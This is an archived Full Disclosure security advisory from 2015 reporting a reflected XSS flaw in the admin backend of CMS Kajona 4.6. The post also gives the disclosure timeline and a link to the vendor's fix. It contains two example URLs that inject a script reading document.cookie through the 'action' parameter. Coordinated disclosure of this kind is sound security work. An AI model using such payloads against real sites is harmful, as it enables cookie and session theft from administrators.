full-disclosure - [FD] Reflecting XSS vulnerability in CMS Kajona v. 4.6

Open Source and information security mailing list archives

Message-ID: <CALH-=7wsry1s0GG5zHGerXw1s1xMbE44CWPE+EctN-ApjEdymw@mail.gmail.com>
Date: Mon, 5 Jan 2015 16:23:29 +0100
From: Steffen Rösemann <steffen.roesemann1986@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Reflecting XSS vulnerability in CMS Kajona v. 4.6

Advisory: Reflecting XSS vulnerability in CMS Kajona v. 4.6
Advisory ID: SROEADV-2015-01
Author: Steffen Rösemann
Affected Software: CMS Kajona v. 4.6
Vendor URL: https://www.kajona.de
Vendor Status: solved
CVE-ID: -

==========================
Vulnerability Description:
==========================

The CMS Kajona v. 4.6 is vulnerable to a reflecting XSS vulnerability in
its administrative backend.

==================
Technical Details:
==================

For an attacker it is possible to append arbitrary HTML and/or
JavaScript-Code to the parameter "action" in the admin.php.

Exploit Examples:

http://
{TARGET}/index.php?admin=1&module=right&action=change%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--&changemodule=dashboard

http://
{TARGET}/index.php?admin=1&module=messaging&action=list%3Cscript%3Ealert%28document.cookie%29%3C/script%3E%3C!--

=========
Solution:
=========

Upgrade to the latest version.

====================
Disclosure Timeline:
====================
01-Jan-2015 – found the vulnerability
01-Jan-2015 - informed the developers
01-Jan-2015 – release date of this security advisory [without technical
details]
05-Jan-2015 - response and fix by vendor
05-Jan-2015 - release date of this security advisory
05-Jan-2015 - post on FullDisclosure

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

[1] http://sroesemann.blogspot.de
[2] https://www.kajona.de
[3]
https://www.kajona.de/de/News/newsdetails.Security-update-to-module-system.newsDetail.22ac42054aa88a07826c.html
[4]
https://github.com/kajona/kajonacms/commit/563d39c327606232e480602f7b36ea6cb31bc6f7

_______________________________________________
Sent through the Full Disclosure mailing list
http://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives